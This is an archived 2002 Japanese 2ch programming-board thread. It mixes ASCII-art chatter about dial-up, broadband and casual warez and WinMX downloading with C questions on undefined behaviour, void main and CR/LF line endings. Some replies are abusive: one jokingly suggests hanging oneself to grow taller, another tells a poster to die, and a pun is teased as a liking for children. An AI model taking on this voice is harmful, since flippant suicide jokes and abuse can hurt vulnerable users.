           ( ´Д` ) < >>873 ダイヤルアップ&テレホの漏れにアプリ落とす時間など無い!!
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <ワカッタカ!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >
割れ物落とすよりも、開発環境を整えるほうが好きだな。
キーボードショートカットに機能を割り当て終わると、明日からは秒で作業ができる。
そんなささやかな幸せに浸っていたい程度の俺だ!
>>877
わ、わかった(汗
聞いた話しだけど、みんなしてコピ−使うからいっこうに安くならない・・らしい。
>>877
すみません。
>>880
それは違う!
会社が非営利じゃないから安くならないんだ!

「わが社は非営利です。問題ありません。」
>>882
ああっどこかで見たセリフだ(w
884デフォルトの名無しさん:02/05/07 01:08
最近はコンパイラからIDEまでただで配ってくれるから割れなんて必要ないよな。
>>880
それは会社側の言い訳です。
例をあげるとフォトショップ。たくさんユーザーいますよね?
安くなりましたか?
>>877
ていうかいいかげんダイヤルアップ止めろよ。
ダイヤルアップしか選択肢のないような田舎なら即引っ越せ。
887デフォルトの名無しさん:02/05/07 01:11
>>885
フォトショップは以前は15万円くらいしたんじゃなかった?
今は10万円弱だよ(でも高すぎる!)
>>885
>例をあげるとフォトショップ。たくさんユーザーいますよね?
たくさんの割れザもいるがな。
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           ( ´Д` ) < >>886 GW前にフレッツ8M申し込んだ!! だが目的は割れじゃない。
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <エロ ダ!!!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >

890デフォルトの名無しさん:02/05/07 01:13
>>889
エロサイトを見る女の子。
ハァハァ・・・・
>>889
そんなに回線速度が必要なくらい落とすのか…?
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           ( ´Д` ) < >>890 お、おれ、俺は女じゃない!!!!
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <ソ、ソウダ!!!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >
   _____
 /::\_____\
 |: ̄\∩`_´) \ <漏れは男の子!!
 |:   :| ̄ ̄U ̄:|
894デフォルトの名無しさん:02/05/07 01:15
>>889
どちらにしろMXはやるんだな(ワラ
エロサイト程度なら高速回線はいらないよな?
 __________________
 |: ̄\     \★パタン
 |:   :| ̄ ̄ ̄ ̄:|
 __________________
 |: ̄\     \
 |:   :| ̄ ̄ ̄ ̄:| < >>892 だれー?
>>889
どこにそんなにあるんだ…?オシエソ。
 __________________
 |: ̄\     \
 |:   :| ̄ ̄ ̄ ̄:| < MXはたぶんしないよ。今は普通にマグナムサイズのエロ動画落とせるからね。
>>892
だれだろう。一体、だれなのだろう。だれだったのだろう。
世の中には、まだ科学的に解決されていないことがたくさんある。
そう、あなたのうしろにも…
漏れも56モデムだが、これ以上の必要性は感じない。
ブラウジングも読み切れないほどの速さで出来て、一晩100MB落とせるんだが。
これで不満な奴は頭がおかしいとしか思えない。みんな業界の煽りに乗せられてるんだろ。
鯖とか立てたいのでは?ADSLはIP固定だし。
902デフォルトの名無しさん:02/05/07 01:21
>>900
タイーホ
>>901
固定とはかぎらん。
OCNなんかだと固定は割高。
 __________________
 |: ̄\     \
 |:   :| ̄ ̄ ̄ ̄:| < 常時接続できるのが一番魅力かな。
             開通したら0時に寝て8時に起きる。ケンコーテキーィ。
織れって頭がおかしかったのか…。
>>901
普通はダイナミックだと思うが?
>>900
>ブラウジングも読み切れないほどの速さで出来て
読み切ってしまうキティが居ないとも限らない。
>>900
100MBじゃまともな画質の動画1時間にもならないじゃん。
俺は64kだからキューにたまってる1.5G落とすのに数日かかるるんだよ。
909デフォルトの名無しさん:02/05/07 01:41
ケンコーテキ!! (・∀・) イイ!!

漏れも早く寝なくちゃな・・・
910900:02/05/07 01:50
>>907
うん、頭がおかしい。
>>908
動画か・・・。確かに動画はね。
でも漏れはそんなでかい動画は見ないからこれで十分。
まあ、童画を落とすときはイライラするけどね。
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           ( ´Д` ) < >>910 今、童画嗜好をさらりとカミングアウトしたな!!
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <コドモズキカ!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >
>>900
問題は速度じゃない。常時接続だ。お前も早くダイヤルアップ卒業しろよな。
速度も重要と思うけどな
これだけセキュリティホールが頻繁に発見修正されているOSを
使用する上ではWindowsUpdateは不可欠なものになってきていると思うが・・・
低速回線だとやってられんよ
(゚д゚) <コノAAキニイッタゾ!!
゚(  )−
/ >
>>913
そうか?
まあ俺は100KBytes/秒出てれば十分だが。
ネットをする時間が有り余ってる人には低速で充分だろ
数時間しか取れない人にとっては>>913の意見はもっともだよ。
917デフォルトの名無しさん:02/05/07 03:30
やはり汎用化して引数構成で処理を変えた方が無難かな?
てゆーかリンククリックしてから次が表示されるまでの数秒間のタイムラグがむかつく。
919917:02/05/07 03:40
>>928
そういうデメリットもあるか〜気づかん買った・・・
>>917
誤爆か?
>>919
未来とおしゃべりか?

おまいら寝とけ。
921デフォルトの名無しさん:02/05/07 12:21
質問なんですが、
http://www.studyinghttp.net/rfc_ja/2616/sec6.html#sec6
でCR = '\r' LF = '\n' SP = ' 'なんですか?
>>921
MS系のOSの場合
テキストモードでファイルをオープンした場合
C言語の改行コード '\n' をファイルに書き込もうとすると
OSが自動的にそれを '\r' '\n' の2文字に変換して書き込みます。
逆に読み込みでファイルに'\r' '\n' の改行コードがあれば、
OSが自動的に '\n' の1文字に変換してプログラムに渡します。
923デフォルトの名無しさん:02/05/07 13:28
英語で仕様書を書くときのわかりやすいガイドがあったら
教えてください。
ガイド自体が英語で書かれていてもいいです。

検索でいっぱい出てきますが、どれが良質なのかを
見極める目を持たないものですから、皆さんに
アドバイスをお願いしたいのです。
それってランタイムライブラリの仕様じゃないの?
>>922
925デフォルトの名無しさん:02/05/07 13:53
>>921
「アスキーコード」、「空白文字」あたりを検索。

>>924
をぃ。
>>924
OSの仕様がそうだからライブラリの仕様が決まると思うんですけど・・・
>>921
同ページの「2 表記の慣習と一般文法」も見れ。
拡張BNF記法について知った方が良いと思われ。
>>926
違うよ。
Win系で改行コードが\r\nとして扱われるのは、MS-DOS(旧くはCP/M)
との互換性のためにライブラリで整合を取っているからで、
そもそもテキストファイル、バイナリファイルの区別がOSのレベルでは存在していない。
CreateFileに改行コードの指定がないのが証拠
>>928
互換性を維持しなくてはならない以上、仕様とほぼ同等かと思うけどな
MSのOS上の動作を考慮する以上CR+LF考慮は避けて通れない。
OSの仕様といっても、あながち間違いではないと思う
930デフォルトの名無しさん:02/05/07 17:14

Win2000でMSのVC6++のレジストリを消したいんですが、
どこを消せばいいんでしょうか?

何回インストールしようにもミスしてしまうんです。
>CreateFileに改行コードの指定がないのが証拠
じゃぁたとえばチミは、CreateFileに文字コードの指定がないからWin系OSは文字コードについて規定してないとかいうのか?
すみませんが、質問です。
VC++を覚えようと思うのですが、
0から始めて、一通り覚えるまでに大体どのくらいかかりますか?
ちなみにプログラムは殆どやったことがありません。
>>931
だから、改行コードについてはスタイルやガイドラインの問題で、
OS自身の制限ではないって事
>>932
マルチは死ね
10年かかってもおまえには無理だって言っただろ
>>933
ガイドライン≒仕様
だろ?
>>933
それを言うなら、「OSの問題であって、ファイルシステムの問題ではない」だろ?
>>930
再インストールに失敗するってこと?
938デフォルトの名無しさん:02/05/07 18:51
くだらない質問ですが、教えてください。
あるプログラムの設定ファイル(. .ini)を手動で編集した時に、
そのの場所(行)って関係あるのでしょうか?

例えば、1行目にある物が別の行にあっても問題ないのでしょうか?
Win32APIを使う限りは問題ないけど、
自前で処理してるくせに糞な仕様だと問題が出るかもな
普通セクションを移動しない限り影響ないです。
Win16API使ってない場合はプログラム依存です。たぶん。
>>932
VC++からやるなら8年はみましょう(マジで
942938:02/05/07 19:02
>>939さん、940さん

なるほどWin32APIを使っててセクションが同じならば、出来るのですね。
ありがとうございました。
943デフォルトの名無しさん:02/05/07 19:21
#include <stdio.h>

void main (void)
{
char s[20],*pa="Hello";
int i=0;
while((s[i++]=*pa++)!='\0')
;
printf("%s\n",s);
}

これだったらちゃんとHelloと表示されるのに

#include <stdio.h>

void main (void)
{
char s[20],*pa="Hello";
int i=0;
while((s[i]=pa[i++])!='\0')
;
printf("%s\n",s);
}

これじゃ何も表示されなひ…
なぜですか?
944デフォルトの名無しさん:02/05/07 19:29
age
>>943
++によるiの増加が、s[i]の場所の評価より後で起きるとは限らない。
 while((s[i]=pa[i])!='\0')
  i++;
とでも汁。
946943:02/05/07 19:41
>>945
どちらも漏れが学校で購入した本ではOKになっていたのですが。
その本は糞ですか?
>>946
s[i]=pa[i++]が必ずs[i]=pa[i], i++と同じ順序になると
書いてあったのなら間違いなく糞だ。参考までに著者と
タイトルを教えれ。

あと、mainの戻り値をvoidにしてるのもその本のせいか?
948943:02/05/07 19:56
>>947

#include <stdio.h>

void main (void)
{
char s[20],*pa="Hello";
int i=@;
while((A)!='\0')
;
printf("%s\n",s);
}

すみません、漏れの言い方が悪かったです。
上記の問題が与えられて
解答が>>943のどちらでも正解になってると言いたかったのです。
おれの持ってるあるC本には、

main() {
 ...
}

こういうふうに書いてある。
950947:02/05/07 19:58
>>948
おんなじ事だな。やっぱ糞だわ。
で著者と本の名前は?実名晒せや。

あと、いちいちageんでよろしい。
ナツメ社
入門ソフトウェアシリーズ@の
「C言語」で著者は河西朝雄です。
それからvoidをを戻り値にしてるのもその本に書かれていたからです。
bccならこれでいけますがダメですか?たしかgccではダメだったような気がします。
>>951
ああ、有名な糞著者&糞本だな。
あんまりひどいんで、10年前に抗議の手紙書いたYO!

そのころ「Cでcharは0〜255, intは-32768〜+32767の範囲」
と書いてあった。

あと、getchar()の結果をchar型に代入してたよ。

void main(void)と書くくらいなら
main(void)とかmain()の方がまし(何も書かないとintと見なされる)。

正式には
int main(void)
または
int main(int, char **)
だがナー。
>>952
ありがとうございます。
この本知ってたんですか(w
こんなもん学校で買わされるなんて鬱…
自分でちゃんとした本買います。
お勧めのCの本はなんでしょうか?
954952:02/05/07 20:18
>あと、getchar()の結果をchar型に代入してたよ。

訂正だ。charに代入するのは別にいいんだけど、つまり奴は
char c;
while ((c=getchar())!=EOF) ...
と書いてたってこと。

>main(void)とかmain()の方がまし(何も書かないとintと見なされる)。

ここも誤解招くな。
main(void)はint main(void)
main()はint main()
とみなされるってこと。スマソ。
>>948
ここら辺の話は C-FAQ の参照に詳しく書いてある。
http://www.catnet.ne.jp/kouno/c_faq/c3.html#9

その中の 3.2 には...
自分の使っているコンパイラがそのような副作用 を持つコードをどう
実装しているか調べるようなこともしてはいけな い(多くのCの教科書に
載っている愚かな練習問題であるが、お薦めは しない)。

と書いてあるように、ウソ書いてる本もいっぱいあるから気をつけること。
sequence pointの存在にすら触れてない本は、さらにいっぱいある
どうもありがとうございました。
ウソ本買わないように気をつけます。
>>951
> voidをを戻り値に
この件は、このスレの >>374- にあるけど、そんな面倒なことじゃないんだから、
int main() にして、return 0; とか書こうよ。
>>958
やだ
>>959
じゃ、勝手にしな。後で困っても、お母さん知らないからね。
>>953
おすすめ本は他のスレにあるね。

俺は前橋和弥「C言語体当たり学習徹底入門」技術評論社をすすめとく。

柴田望洋や結城浩も悪くない(飛躍がなくてていねい)だとは思うが、
どっちも return (式); とカッコをつけてるのが嫌だ(w

ところで
main()
とintなしで書いてあるのは戸川隼人「ザ・C」じゃないか?
962951:02/05/07 21:00
>>959
氏ね
963デフォルトの名無しさん:02/05/07 21:01
誰かVC++.NET買った人いる?
964:02/05/07 21:02
新スレッドもよろしく
http://pc.2ch.net/test/read.cgi/tech/1020772896/
買ったよ。
966デフォルトの名無しさん:02/05/07 21:03
>>965
VC++.NETってネットにつながなくてもインストできるの?
967:02/05/07 21:03
>963
買いました。私はVB.NETもVC++.NETもC#.NETもみんなスタンダード
版で買いそろえました。
968デフォルトの名無しさん:02/05/07 21:07
969:02/05/07 21:09
>953
おすすめのC言語入門本は

「やさしいC」(高橋麻奈)「ソフトバンク」

もしくは
「プログラミング学習シリーズ・C言語1,2」(倉薫)「翔泳社」

どちらも必要最小限のことしか書いていないがC言語の全般を平易に
説明しています。後者の方がより簡単な内容です。これらで一通り
C言語ってどんなものが知ったら、別の書籍を当たった方がいいかも
しれません。
>>943 >>951
「入門ソフトウェアシリーズ(1) C言語」(河西朝雄著)
http://www.amy.hi-ho.ne.jp/~lepton/program/prog/prog78.html
この本に関しては、ここも読んでおくといいよ。
971デフォルトの名無しさん:02/05/07 21:18
お勧めのDelphi入門書を教えてください。
972デフォルトの名無しさん:02/05/07 21:19
誰か〜>>966の質問に答えてくれ〜〜〜〜〜
>>972
MS に聞けば ? お客さんなんだから、ちゃんと答えてくれると思うよ。
974:02/05/07 21:28
>966
できるよ。スタンダード版は認証システムがいりません。
>>973
(W
976デフォルトの名無しさん:02/05/07 21:39
背の伸ばし方教えてください。あと10cmは伸ばしたいです。

ちなみに環境はWindows2000 IE6です。。。。。
>>966
あんたまだ諦めてなかったの?
>>765-
それに、何故同じ内容の質問になるの?
その部分は解決してるでしょ?
原因は別だろ?
>>976
首つれば確実に伸びます。
人生再インストールですなぁ。
980デフォルトの名無しさん:02/05/07 21:49
「この後、信じられない出来事が!!」
981!
982!
983デフォルトの名無しさん:02/05/07 22:49
ウワァァンヽ(`Д´)ノ
昨日からエラーの原因がわからないままだよー
パパ怒っちゃうぞ(`へ´)
984983:02/05/07 22:59
原因が今やっとワカタ!!
余分な閉じ中カッコダタ!
ここに書き込んだから見つかったんだな
ありがとう2ch(´▽`)
991!!
990
989!!
988
1000取り合戦、いくぞゴルァ!!
え? いいよべつに・・・
Σ(゚д゚lll)
余生は静かに生きるものだよ。せにょーる。
989には無理。あきらめんちょ。
すみません、ダイキストラ法について詳しく書いてある
HPを教えていただけませんか? 緊急なんです。
VB.netっていくらしますか?
iアプリってどうつくれるの?
997994、995:02/05/07 23:53
age忘れた
        ∧_∧
       ( ´Д`) <はぁー・・・フレッツ1.5Mに変更だ。2.7Kmあるから素人にはおススメできないとさー。
      /    \      
   _  | |    | |_..∬
  |\ ̄ ̄ ̄ ̄ ̄ ̄ 旦.\
 ./..\\            \
/   \|=================|
\    ノ             \
        ∧_∧
       ( ´Д`) <はぁー・・・
      /    \      
   _  | |    | |_..∬
  |\ ̄ ̄ ̄ ̄ ̄ ̄ 旦.\
 ./..\\            \
/   \|=================|
\    ノ    失業者     \

        ∧_∧
       ( ´Д`) <はぁー・・・
      /    \      
   _  | |    | |_..∬
  |\ ̄ ̄ ̄ ̄ ̄ ̄ 旦.\
 ./..\\            \
/   \|=================|
\    ノ    失業者     \

10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。